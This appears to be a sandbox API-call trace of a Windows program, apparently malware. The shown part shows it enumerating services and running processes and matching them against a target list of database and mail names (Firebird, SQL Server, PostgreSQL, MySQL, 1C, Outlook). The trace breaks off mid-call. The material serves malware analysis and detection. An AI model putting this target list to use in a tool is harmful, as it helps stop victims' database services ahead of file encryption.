lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0158.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0158.118] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0158.118] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0158.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0158.118] lstrlenW (lpString="BFE") returned 3 [0158.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0158.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0158.118] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0158.118] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0158.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0158.118] lstrlenW (lpString="CryptSvc") returned 8 [0158.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0158.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0158.118] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0158.118] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0158.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0158.118] lstrlenW (lpString="CscService") returned 10 [0158.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0158.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0158.118] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0158.118] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0158.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0158.118] lstrlenW (lpString="DcomLaunch") returned 10 [0158.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.118] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0158.118] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0158.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0158.118] lstrlenW (lpString="Dhcp") returned 4 [0158.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0158.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0158.118] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0158.118] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0158.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0158.119] lstrlenW (lpString="Dnscache") returned 8 [0158.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0158.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0158.119] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0158.119] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0158.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0158.119] lstrlenW (lpString="DPS") returned 3 [0158.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0158.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0158.119] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0158.119] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0158.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0158.119] lstrlenW (lpString="eventlog") returned 8 [0158.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0158.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0158.119] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0158.119] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0158.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0158.119] lstrlenW (lpString="EventSystem") returned 11 [0158.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0158.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0158.119] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0158.119] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0158.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0158.119] lstrlenW (lpString="gpsvc") returned 5 [0158.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0158.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0158.119] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0158.119] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0158.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0158.119] lstrlenW (lpString="iphlpsvc") returned 8 [0158.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.120] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0158.120] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0158.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0158.120] lstrlenW (lpString="LanmanServer") returned 12 [0158.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0158.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0158.120] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0158.120] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0158.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0158.120] lstrlenW (lpString="LanmanWorkstation") returned 17 [0158.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.120] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0158.120] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0158.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0158.120] lstrlenW (lpString="lmhosts") returned 7 [0158.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0158.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0158.120] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0158.120] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0158.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0158.120] lstrlenW (lpString="MMCSS") returned 5 [0158.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0158.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0158.120] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0158.120] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0158.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0158.120] lstrlenW (lpString="MpsSvc") returned 6 [0158.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0158.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0158.120] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0158.121] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0158.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0158.121] lstrlenW (lpString="Netman") returned 6 [0158.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0158.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0158.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0158.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0158.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0158.121] lstrlenW (lpString="netprofm") returned 8 [0158.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0158.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0158.121] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0158.121] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0158.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0158.121] lstrlenW (lpString="NlaSvc") returned 6 [0158.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0158.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0158.121] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0158.121] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0158.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0158.121] lstrlenW (lpString="nsi") returned 3 [0158.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0158.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0158.121] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0158.121] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0158.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0158.121] lstrlenW (lpString="PcaSvc") returned 6 [0158.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0158.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0158.121] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0158.121] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0158.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0158.121] lstrlenW (lpString="PlugPlay") returned 8 [0158.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0158.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0158.122] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0158.122] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0158.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0158.122] lstrlenW (lpString="Power") returned 5 [0158.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0158.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0158.122] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0158.122] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0158.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0158.122] lstrlenW (lpString="ProfSvc") returned 7 [0158.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0158.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0158.122] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0158.122] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0158.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0158.122] lstrlenW (lpString="RpcEptMapper") returned 12 [0158.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.122] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0158.122] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0158.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0158.122] lstrlenW (lpString="RpcSs") returned 5 [0158.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0158.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0158.122] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0158.122] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0158.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0158.122] lstrlenW (lpString="SamSs") returned 5 [0158.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0158.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0158.122] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0158.123] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0158.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0158.123] lstrlenW (lpString="Schedule") returned 8 [0158.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0158.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0158.123] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0158.123] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0158.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0158.123] lstrlenW (lpString="SENS") returned 4 [0158.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0158.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0158.123] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0158.123] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0158.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0158.123] lstrlenW (lpString="ShellHWDetection") returned 16 [0158.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.123] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0158.123] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0158.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0158.123] lstrlenW (lpString="Spooler") returned 7 [0158.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0158.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0158.123] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0158.123] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0158.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0158.123] lstrlenW (lpString="SysMain") returned 7 [0158.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0158.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0158.123] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0158.123] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0158.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0158.123] lstrlenW (lpString="Themes") returned 6 [0158.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0158.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0158.124] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0158.124] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0158.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0158.124] lstrlenW (lpString="TrkWks") returned 6 [0158.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0158.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0158.124] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0158.124] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0158.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0158.124] lstrlenW (lpString="UxSms") returned 5 [0158.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0158.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0158.124] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0158.124] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0158.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0158.124] lstrlenW (lpString="WdiServiceHost") returned 14 [0158.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0158.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0158.124] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0158.124] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0158.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0158.124] lstrlenW (lpString="WdiSystemHost") returned 13 [0158.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0158.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0158.124] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0158.124] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0158.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0158.124] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0158.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0158.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0158.124] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0158.125] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0158.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0158.125] lstrlenW (lpString="Winmgmt") returned 7 [0158.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0158.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0158.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0158.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0158.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0158.125] lstrlenW (lpString="WPDBusEnum") returned 10 [0158.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0158.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0158.125] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0158.125] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0158.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0158.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x43461b8 | out: hHeap=0x630000) returned 1 [0158.125] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0158.127] Process32FirstW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.127] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0158.127] lstrlenW (lpString="System") returned 6 [0158.127] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0158.127] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0158.127] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0158.127] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0158.127] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0158.128] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0158.128] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0158.128] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0158.128] lstrlenW (lpString="smss.exe") returned 8 [0158.128] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0158.128] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0158.128] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0158.128] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0158.128] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0158.128] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0158.128] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0158.128] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.128] lstrlenW (lpString="csrss.exe") returned 9 [0158.128] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0158.128] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0158.128] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0158.129] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0158.129] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0158.129] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0158.129] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0158.129] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0158.129] lstrlenW (lpString="wininit.exe") returned 11 [0158.129] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0158.129] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0158.129] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0158.129] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0158.129] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0158.129] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0158.129] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0158.129] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.129] lstrlenW (lpString="csrss.exe") returned 9 [0158.129] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0158.130] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0158.130] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0158.130] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0158.130] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0158.130] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0158.130] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0158.130] lstrlenW (lpString="winlogon.exe") returned 12 [0158.130] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0158.130] lstrlenW (lpString="services.exe") returned 12 [0158.130] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0158.131] lstrlenW (lpString="lsass.exe") returned 9 [0158.131] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0158.131] lstrlenW (lpString="lsm.exe") returned 7 [0158.131] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.132] lstrlenW (lpString="svchost.exe") returned 11 [0158.132] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.132] lstrlenW (lpString="svchost.exe") returned 11 [0158.132] Process32NextW (in: 